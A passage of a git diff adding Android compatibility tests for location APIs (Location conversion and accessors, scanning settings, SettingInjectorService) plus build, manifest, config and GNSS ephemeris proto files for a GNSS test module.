+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            Location.convert(-80.075, -1);
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    public void testConvert_RepresentationToCoordinate() {
+        double result;
+
+        result = Location.convert("-80.075");
+        assertEquals(-80.075, result);
+
+        result = Location.convert("-80:05.10000");
+        assertEquals(-80.085, result);
+
+        result = Location.convert("-80:04:03.00000");
+        assertEquals(-80.0675, result);
+
+        result = Location.convert("-80:4:3");
+        assertEquals(-80.0675, result);
+
+        try {
+            Location.convert(null);
+            fail("should throw NullPointerException.");
+        } catch (NullPointerException e){
+            // expected.
+        }
+
+        try {
+            Location.convert(":");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+
+        try {
+            Location.convert("190:4:3");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+
+        try {
+            Location.convert("-80:60:3");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+
+        try {
+            Location.convert("-80:4:60");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+    }
+
+    public void testDescribeContents() {
+        Location location = new Location("");
+        location.describeContents();
+    }
+
+    public void testDistanceBetween() {
+        float[] result = new float[3];
+        Location.distanceBetween(0, 0, 0, 0, result);
+        assertEquals(0.0, result[0], DELTA);
+        assertEquals(0.0, result[1], DELTA);
+        assertEquals(0.0, result[2], DELTA);
+
+        Location.distanceBetween(20, 30, -40, 140, result);
+        assertEquals(1.3094936E7, result[0], 1);
+        assertEquals(125.4538, result[1], DELTA);
+        assertEquals(93.3971, result[2], DELTA);
+
+        try {
+            Location.distanceBetween(20, 30, -40, 140, null);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            Location.distanceBetween(20, 30, -40, 140, new float[0]);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    public void testDistanceTo() {
+        float distance;
+        Location zeroLocation = new Location("");
+        zeroLocation.setLatitude(0);
+        zeroLocation.setLongitude(0);
+
+        Location testLocation = new Location("");
+        testLocation.setLatitude(30);
+        testLocation.setLongitude(50);
+
+        distance = zeroLocation.distanceTo(zeroLocation);
+        assertEquals(0, distance, DELTA);
+
+        distance = zeroLocation.distanceTo(testLocation);
+        assertEquals(6244139.0, distance, 1);
+    }
+
+    public void testAccessAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasAccuracy());
+
+        location.setAccuracy(1.0f);
+        assertEquals(1.0, location.getAccuracy(), DELTA);
+        assertTrue(location.hasAccuracy());
+    }
+
+    public void testAccessVerticalAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasVerticalAccuracy());
+
+        location.setVerticalAccuracyMeters(1.0f);
+        assertEquals(1.0, location.getVerticalAccuracyMeters(), DELTA);
+        assertTrue(location.hasVerticalAccuracy());
+    }
+
+    public void testAccessSpeedAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasSpeedAccuracy());
+
+        location.setSpeedAccuracyMetersPerSecond(1.0f);
+        assertEquals(1.0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertTrue(location.hasSpeedAccuracy());
+    }
+
+    public void testAccessBearingAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasBearingAccuracy());
+
+        location.setBearingAccuracyDegrees(1.0f);
+        assertEquals(1.0, location.getBearingAccuracyDegrees(), DELTA);
+        assertTrue(location.hasBearingAccuracy());
+    }
+
+
+    public void testAccessAltitude() {
+        Location location = new Location("");
+        assertFalse(location.hasAltitude());
+
+        location.setAltitude(1.0);
+        assertEquals(1.0, location.getAltitude(), DELTA);
+        assertTrue(location.hasAltitude());
+    }
+
+    public void testAccessBearing() {
+        Location location = new Location("");
+        assertFalse(location.hasBearing());
+
+        location.setBearing(1.0f);
+        assertEquals(1.0, location.getBearing(), DELTA);
+        assertTrue(location.hasBearing());
+
+        location.setBearing(371.0f);
+        assertEquals(11.0, location.getBearing(), DELTA);
+        assertTrue(location.hasBearing());
+
+        location.setBearing(-361.0f);
+        assertEquals(359.0, location.getBearing(), DELTA);
+        assertTrue(location.hasBearing());
+    }
+
+    public void testAccessExtras() {
+        Location location = createTestLocation();
+
+        assertTestBundle(location.getExtras());
+
+        location.setExtras(null);
+        assertNull(location.getExtras());
+    }
+
+    public void testAccessLatitude() {
+        Location location = new Location("");
+
+        location.setLatitude(0);
+        assertEquals(0, location.getLatitude(), DELTA);
+
+        location.setLatitude(90);
+        assertEquals(90, location.getLatitude(), DELTA);
+
+        location.setLatitude(-90);
+        assertEquals(-90, location.getLatitude(), DELTA);
+    }
+
+    public void testAccessLongitude() {
+        Location location = new Location("");
+
+        location.setLongitude(0);
+        assertEquals(0, location.getLongitude(), DELTA);
+
+        location.setLongitude(180);
+        assertEquals(180, location.getLongitude(), DELTA);
+
+        location.setLongitude(-180);
+        assertEquals(-180, location.getLongitude(), DELTA);
+    }
+
+    public void testAccessProvider() {
+        Location location = new Location("");
+
+        String provider = "Location Provider";
+        location.setProvider(provider);
+        assertEquals(provider, location.getProvider());
+
+        location.setProvider(null);
+        assertNull(location.getProvider());
+    }
+
+    public void testAccessSpeed() {
+        Location location = new Location("");
+        assertFalse(location.hasSpeed());
+
+        location.setSpeed(234.0045f);
+        assertEquals(234.0045, location.getSpeed(), DELTA);
+        assertTrue(location.hasSpeed());
+    }
+
+    public void testAccessTime() {
+        Location location = new Location("");
+
+        location.setTime(0);
+        assertEquals(0, location.getTime());
+
+        location.setTime(Long.MAX_VALUE);
+        assertEquals(Long.MAX_VALUE, location.getTime());
+
+        location.setTime(12000);
+        assertEquals(12000, location.getTime());
+    }
+
+    public void testAccessElapsedRealtime() {
+        Location location = new Location("");
+
+        location.setElapsedRealtimeNanos(0);
+        assertEquals(0, location.getElapsedRealtimeNanos());
+
+        location.setElapsedRealtimeNanos(Long.MAX_VALUE);
+        assertEquals(Long.MAX_VALUE, location.getElapsedRealtimeNanos());
+
+        location.setElapsedRealtimeNanos(12000);
+        assertEquals(12000, location.getElapsedRealtimeNanos());
+    }
+
+    public void testAccessElapsedRealtimeUncertaintyNanos() {
+        Location location = new Location("");
+        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
+        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos());
+
+        location.setElapsedRealtimeUncertaintyNanos(12000.0);
+        assertEquals(12000.0, location.getElapsedRealtimeUncertaintyNanos());
+        assertTrue(location.hasElapsedRealtimeUncertaintyNanos());
+
+        location.reset();
+        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
+        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos());
+    }
+
+    public void testSet() {
+        Location location = new Location("");
+
+        Location loc = createTestLocation();
+
+        location.set(loc);
+        assertTestLocation(location);
+
+        location.reset();
+        assertNull(location.getProvider());
+        assertEquals(0, location.getTime());
+        assertEquals(0, location.getLatitude(), DELTA);
+        assertEquals(0, location.getLongitude(), DELTA);
+        assertEquals(0, location.getAltitude(), DELTA);
+        assertFalse(location.hasAltitude());
+        assertEquals(0, location.getSpeed(), DELTA);
+        assertFalse(location.hasSpeed());
+        assertEquals(0, location.getBearing(), DELTA);
+        assertFalse(location.hasBearing());
+        assertEquals(0, location.getAccuracy(), DELTA);
+        assertFalse(location.hasAccuracy());
+
+        assertEquals(0, location.getVerticalAccuracyMeters(), DELTA);
+        assertEquals(0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertEquals(0, location.getBearingAccuracyDegrees(), DELTA);
+
+        assertFalse(location.hasVerticalAccuracy());
+        assertFalse(location.hasSpeedAccuracy());
+        assertFalse(location.hasBearingAccuracy());
+
+        assertNull(location.getExtras());
+    }
+
+    public void testToString() {
+        Location location = createTestLocation();
+
+        assertNotNull(location.toString());
+    }
+
+    public void testWriteToParcel() {
+        Location location = createTestLocation();
+
+        Parcel parcel = Parcel.obtain();
+        location.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        Location newLocation = Location.CREATOR.createFromParcel(parcel);
+        assertTestLocation(newLocation);
+
+        parcel.recycle();
+    }
+
+    private void assertTestLocation(Location l) {
+        assertNotNull(l);
+        assertEquals(TEST_PROVIDER, l.getProvider());
+        assertEquals(TEST_ACCURACY, l.getAccuracy(), DELTA);
+        assertEquals(TEST_VERTICAL_ACCURACY, l.getVerticalAccuracyMeters(), DELTA);
+        assertEquals(TEST_SPEED_ACCURACY, l.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertEquals(TEST_BEARING_ACCURACY, l.getBearingAccuracyDegrees(), DELTA);
+        assertEquals(TEST_ALTITUDE, l.getAltitude(), DELTA);
+        assertEquals(TEST_LATITUDE, l.getLatitude(), DELTA);
+        assertEquals(TEST_BEARING, l.getBearing(), DELTA);
+        assertEquals(TEST_LONGITUDE, l.getLongitude(), DELTA);
+        assertEquals(TEST_SPEED, l.getSpeed(), DELTA);
+        assertEquals(TEST_TIME, l.getTime());
+        assertTestBundle(l.getExtras());
+    }
+
+    private Location createTestLocation() {
+        Location l = new Location(TEST_PROVIDER);
+        l.setAccuracy(TEST_ACCURACY);
+        l.setVerticalAccuracyMeters(TEST_VERTICAL_ACCURACY);
+        l.setSpeedAccuracyMetersPerSecond(TEST_SPEED_ACCURACY);
+        l.setBearingAccuracyDegrees(TEST_BEARING_ACCURACY);
+
+        l.setAltitude(TEST_ALTITUDE);
+        l.setLatitude(TEST_LATITUDE);
+        l.setBearing(TEST_BEARING);
+        l.setLongitude(TEST_LONGITUDE);
+        l.setSpeed(TEST_SPEED);
+        l.setTime(TEST_TIME);
+        Bundle bundle = new Bundle();
+        bundle.putBoolean(TEST_KEY1NAME, TEST_KEY1VALUE);
+        bundle.putByte(TEST_KEY2NAME, TEST_KEY2VALUE);
+        l.setExtras(bundle);
+
+        return l;
+    }
+
+    private void assertTestBundle(Bundle bundle) {
+        assertFalse(bundle.getBoolean(TEST_KEY1NAME));
+        assertEquals(TEST_KEY2VALUE, bundle.getByte(TEST_KEY2NAME));
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
new file mode 100644
index 0000000..bb0cec6
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.database.ContentObserver;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+import android.test.AndroidTestCase;
+
+import com.android.compatibility.common.util.CddTest;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests if system settings app provides scanning settings.
+ */
+@AppModeFull(reason = "Test cases don't apply for Instant apps")
+public class ScanningSettingsTest extends AndroidTestCase {
+    private static final String TAG = "ScanningSettingsTest";
+
+    private static final int TIMEOUT = 8_000;  // 8 seconds
+    private static final String SETTINGS_PACKAGE = "com.android.settings";
+
+    private static final String WIFI_SCANNING_TITLE_RES =
+            "location_scanning_wifi_always_scanning_title";
+    private static final String BLUETOOTH_SCANNING_TITLE_RES =
+            "location_scanning_bluetooth_always_scanning_title";
+
+    private UiDevice mDevice;
+    private Context mContext;
+    private String mLauncherPackage;
+    private PackageManager mPackageManager;
+
+    @Override
+    protected void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        mPackageManager = mContext.getPackageManager();
+        final Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
+        launcherIntent.addCategory(Intent.CATEGORY_HOME);
+        mLauncherPackage = mPackageManager.resolveActivity(launcherIntent,
+                PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+    }
+
+    @CddTest(requirement = "7.4.2/C-2-1")
+    public void testWifiScanningSettings() throws PackageManager.NameNotFoundException {
+        launchScanningSettings();
+        toggleSettingAndVerify(WIFI_SCANNING_TITLE_RES, Settings.Global.WIFI_SCAN_ALWAYS_AVAILABLE);
+    }
+
+    @CddTest(requirement = "7.4.3/C-4-1")
+    public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
+        launchScanningSettings();
+        toggleSettingAndVerify(BLUETOOTH_SCANNING_TITLE_RES,
+                Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
+    }
+
+    private void launchScanningSettings() {
+        // Start from the home screen
+        mDevice.pressHome();
+        mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
+
+        final Intent intent = new Intent(Settings.ACTION_LOCATION_SCANNING_SETTINGS);
+        // Clear out any previous instances
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        mContext.startActivity(intent);
+
+        // Wait for the app to appear
+        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+    }
+
+    private void clickAndWaitForSettingChange(UiObject2 pref, ContentResolver resolver,
+            String settingKey) {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final ContentObserver observer = new ContentObserver(
+                new Handler(handlerThread.getLooper())) {
+            @Override
+            public void onChange(boolean selfChange) {
+                super.onChange(selfChange);
+                latch.countDown();
+            }
+        };
+        resolver.registerContentObserver(Settings.Global.getUriFor(settingKey), false, observer);
+        pref.click();
+        try {
+            latch.await(TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+        handlerThread.quit();
+        resolver.unregisterContentObserver(observer);
+        assertEquals(0, latch.getCount());
+    }
+
+    private void toggleSettingAndVerify(String prefTitleRes, String settingKey)
+            throws PackageManager.NameNotFoundException {
+        final Resources res = mPackageManager.getResourcesForApplication(SETTINGS_PACKAGE);
+        final int resId = res.getIdentifier(prefTitleRes, "string", SETTINGS_PACKAGE);
+        final UiObject2 pref = mDevice.findObject(By.text(res.getString(resId)));
+        final ContentResolver resolver = mContext.getContentResolver();
+        final boolean checked = Settings.Global.getInt(resolver, settingKey, 0) == 1;
+
+        // Click the preference to toggle the setting.
+        clickAndWaitForSettingChange(pref, resolver, settingKey);
+        assertEquals(!checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
+
+        // Click the preference again to toggle the setting back.
+        clickAndWaitForSettingChange(pref, resolver, settingKey);
+        assertEquals(checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/SettingInjectorServiceTest.java b/tests/location/location_fine/src/android/location/cts/fine/SettingInjectorServiceTest.java
new file mode 100644
index 0000000..191ceb4
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/SettingInjectorServiceTest.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static android.location.SettingInjectorService.ENABLED_KEY;
+import static android.location.SettingInjectorService.MESSENGER_KEY;
+import static android.location.SettingInjectorService.SUMMARY_KEY;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.Intent;
+import android.location.SettingInjectorService;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Messenger;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class SettingInjectorServiceTest {
+
+    private static final long TIMEOUT_MS = 5000;
+    private static final long FAILURE_TIMEOUT_MS = 200;
+
+    private Context mContext;
+
+    @Before
+    public void setUp() {
+        mContext = ApplicationProvider.getApplicationContext();
+    }
+
+    @Test
+    public void testRefreshSettings() {
+        // Simply calls the method to make sure it exists.
+        SettingInjectorService.refreshSettings(mContext);
+    }
+
+    @Test
+    public void testSettingInjectorService() throws Exception {
+        TestSettingInjectorService service = new TestSettingInjectorService();
+        MessageCapture messageCapture = new MessageCapture();
+        Intent intent = new Intent().putExtra(MESSENGER_KEY, messageCapture.getMessenger());
+
+        service.setEnabledAndSummary(false, null);
+        service.onStartCommand(intent, 0, 0);
+        Message message = messageCapture.getNextMessage(TIMEOUT_MS);
+        assertFalse(message.getData().getBoolean(ENABLED_KEY));
+        assertNull(message.getData().getString(SUMMARY_KEY));
+
+        service.setEnabledAndSummary(true, "summary");
+        service.onStartCommand(intent, 0, 0);
+        message = messageCapture.getNextMessage(TIMEOUT_MS);
+        assertTrue(message.getData().getBoolean(ENABLED_KEY));
+        assertEquals("summary", message.getData().getString(SUMMARY_KEY));
+
+        service.setEnabledAndSummary(false, "another_summary");
+        service.onStartCommand(intent, 0, 0);
+        message = messageCapture.getNextMessage(TIMEOUT_MS);
+        assertFalse(message.getData().getBoolean(ENABLED_KEY));
+        assertEquals("another_summary", message.getData().getString(SUMMARY_KEY));
+
+        assertNull(messageCapture.getNextMessage(FAILURE_TIMEOUT_MS));
+    }
+
+    @Test
+    public void testSettingInjectorService_Exception() throws Exception {
+        BadSettingInjectorService service = new BadSettingInjectorService();
+        MessageCapture messageCapture = new MessageCapture();
+        Intent intent = new Intent().putExtra(MESSENGER_KEY, messageCapture.getMessenger());
+
+        try {
+            service.onStartCommand(intent, 0, 0);
+            fail("Should throw RuntimeException");
+        } catch (RuntimeException e) {
+            // pass
+        }
+
+        Message message = messageCapture.getNextMessage(TIMEOUT_MS);
+        assertFalse(message.getData().getBoolean(ENABLED_KEY));
+        assertNull(message.getData().getString(SUMMARY_KEY));
+
+        assertNull(messageCapture.getNextMessage(FAILURE_TIMEOUT_MS));
+    }
+
+    @Test
+    public void testSettingInjectorService_Bind() {
+        TestSettingInjectorService service = new TestSettingInjectorService();
+        assertNull(service.onBind(new Intent()));
+    }
+
+    @Test
+    public void testSettingInjectorService_EmptyIntent() {
+        TestSettingInjectorService service = new TestSettingInjectorService();
+        service.onStartCommand(new Intent(), 0, 0);
+    }
+
+    private static class TestSettingInjectorService extends SettingInjectorService {
+
+        private boolean mEnabled;
+        private String mSummary;
+
+        TestSettingInjectorService() {
+            super("TestSettingInjectorService");
+        }
+
+        @Override
+        protected String onGetSummary() {
+            return mSummary;
+        }
+
+        @Override
+        protected boolean onGetEnabled() {
+            return mEnabled;
+        }
+
+        public void setEnabledAndSummary(boolean enabled, String summary) {
+            mEnabled = enabled;
+            mSummary = summary;
+        }
+    }
+
+    private static class BadSettingInjectorService extends SettingInjectorService {
+
+        BadSettingInjectorService() {
+            super("BadSettingInjectorService");
+        }
+
+        @Override
+        protected String onGetSummary() {
+            throw new RuntimeException();
+        }
+
+        @Override
+        protected boolean onGetEnabled() {
+            throw new RuntimeException();
+        }
+    }
+
+    private static class MessageCapture extends Handler {
+
+        private final Messenger mMessenger = new Messenger(this);
+
+        private final LinkedBlockingQueue<Message> mMessages = new LinkedBlockingQueue<>();
+
+        MessageCapture() {
+            super(Looper.getMainLooper());
+        }
+
+        public Messenger getMessenger() {
+            return mMessenger;
+        }
+
+        public Message getNextMessage(long timeoutMs) throws InterruptedException {
+            return mMessages.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        }
+
+        @Override
+        public void handleMessage(Message m) {
+            mMessages.add(Message.obtain(m));
+        }
+    }
+}
diff --git a/tests/location/location_gnss/Android.bp b/tests/location/location_gnss/Android.bp
new file mode 100644
index 0000000..5208d51
--- /dev/null
+++ b/tests/location/location_gnss/Android.bp
@@ -0,0 +1,67 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+    name: "cts-location-gnss-tests",
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "LocationCtsCommon",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "apache-commons-math",
+        "platform-test-annotations",
+    ],
+    proto: {
+            type: "nano",
+        },
+        srcs: [
+            "src/**/*.java",
+            "protos/**/*.proto",
+        ],
+   sdk_version: "test_current",
+}
+android_test {
+    name: "CtsLocationGnssTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "LocationCtsCommon",
+        "androidx.test.ext.junit",
+        "androidx.test.ext.truth",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "apache-commons-math",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    proto: {
+        type: "nano",
+    },
+    srcs: [
+        "src/**/*.java",
+        "protos/**/*.proto",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/location/location_gnss/AndroidManifest.xml b/tests/location/location_gnss/AndroidManifest.xml
new file mode 100644
index 0000000..f463c37
--- /dev/null
+++ b/tests/location/location_gnss/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.location.cts.gnss">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:label="CTS tests for android.location that require GNSS signal"
+                     android:targetPackage="android.location.cts.gnss" >
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/location/location_gnss/AndroidTest.xml b/tests/location/location_gnss/AndroidTest.xml
new file mode 100644
index 0000000..bd115a5
--- /dev/null
+++ b/tests/location/location_gnss/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Location test cases that require GNSS signal">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="location" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLocationGnssTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.location.cts.gnss" />
+    </test>
+
+</configuration>
diff --git a/tests/location/location_gnss/README.txt b/tests/location/location_gnss/README.txt
new file mode 100644
index 0000000..d091f58
--- /dev/null
+++ b/tests/location/location_gnss/README.txt
@@ -0,0 +1 @@
+These tests require a GNSS signal.
\ No newline at end of file
diff --git a/tests/location/location_gnss/protos/ephemeris.proto b/tests/location/location_gnss/protos/ephemeris.proto
new file mode 100644
index 0000000..a746401
--- /dev/null
+++ b/tests/location/location_gnss/protos/ephemeris.proto
@@ -0,0 +1,124 @@
+syntax = "proto2";
+
+package android.location.cts.gnss;
+// RPC service for providing ephemeris data
+
+
+message GpsTimeProto {
+  optional int64 nanosecond = 1;
+}
+
+message GpsEphemerisProto {
+  // Time used for generating this data (typically, the queried time).
+  optional GpsTimeProto data_time = 1;
+
+  // PRN.
+  optional int32 prn = 2;
+
+  // GPS week number.
+  optional int32 week = 3;
+
+  // Code on L2.
+  optional int32 l2_code = 4;
+
+  // L2 P data flag.
+  optional int32 l2_flag = 5;
+
+  // SV accuracy in meters.
+  optional double sv_accuracy_m = 6;
+
+  // SV health bits.
+  optional int32 sv_health = 7;
+
+  // Issue of data (ephemeris).
+  optional int32 iode = 8;
+
+  // Issue of data (clock).
+  optional int32 iodc = 9;
+
+  // Time of clock (second).
+  optional double toc = 10;
+
+  // Time of ephemeris (second).
+  optional double toe = 11;
+
+  // Transmission time of the message.
+  optional double tom = 12;
+
+  // Clock info (drift, bias, etc).
+  optional double af0 = 13;
+  optional double af1 = 14;
+  optional double af2 = 15;
+  optional double tgd = 16;
+
+  // Orbital parameters.
+  // Square root of semi-major axis
+  optional double root_of_a = 17;
+
+  // Eccentricity.
+  optional double e = 18;
+
+  // Inclination angle (radian).
+  optional double i_0 = 19;
+
+  // Rate of inclination angle (radians/sec).
+  optional double i_dot = 20;
+
+  // Argument of perigee.
+  optional double omega = 21;
+
+  // Longitude of ascending node of orbit plane at the beginning of week.
+  optional double omega_0 = 22;
+
+  // Rate of right ascension.
+  optional double omega_dot = 23;
+
+  // Mean anomaly at reference time.
+  optional double m_0 = 24;
+
+  // Mean motion difference from computed value.
+  optional double delta_n = 25;
+
+  // Amplitude of second-order harmonic perturbations.
+  optional double crc = 26;
+  optional double crs = 27;
+  optional double cuc = 28;
+  optional double cus = 29;
+  optional double cic = 30;
+  optional double cis = 31;
+
+  // FIT interval.
+  optional double fit_interval = 32;
+}
+
+// Klobuchar Ionospheric Model
+message IonosphericModelProto {
+  // Time used for generating this data (typically, the queried time).
+  optional GpsTimeProto data_time = 1;
+
+  // Amplitude parameters
+  repeated double alpha = 2;
+
+  // Period parameters.
+  repeated double beta = 3;
+}
+
+message UtcModelProto {
+  optional double a_0 = 1;
+  optional double a_1 = 2;
+  optional int64 tow = 3;
+  optional int32 leap_seconds = 4;
+}
+
+message GpsNavMessageProto {
+  // Status for the RPC call.
+  enum RpcStatus {
+    UNKNOWN_RPC_STATUS = 0;
+    SUCCESS = 1;
+    SERVER_ERROR = 2;
+  }
+  optional RpcStatus rpc_status = 1;
+  optional IonosphericModelProto iono = 2;
+  optional UtcModelProto utc_model = 3;
+  repeated GpsEphemerisProto ephemerids = 4;
+}
